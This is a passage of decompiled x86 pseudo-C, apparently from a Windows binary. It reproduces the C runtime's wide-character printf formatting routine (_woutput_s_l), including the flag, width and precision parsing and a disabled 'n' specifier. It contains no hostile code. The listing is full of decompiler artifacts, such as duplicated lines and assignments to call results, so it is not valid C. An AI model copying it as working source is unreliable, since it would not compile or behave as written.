																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43ca60; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CA24))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AE60(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0xf86dff92
																				E004246D0(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xa86dfc78
																						E004246D0(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0x886dfc7f
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00428370(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AE60(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AE60(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00428370(__ebp + 0x14);
																		__eax = E00433F20();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E390();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																			__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AE30(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428370(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AE60(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E00431230( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
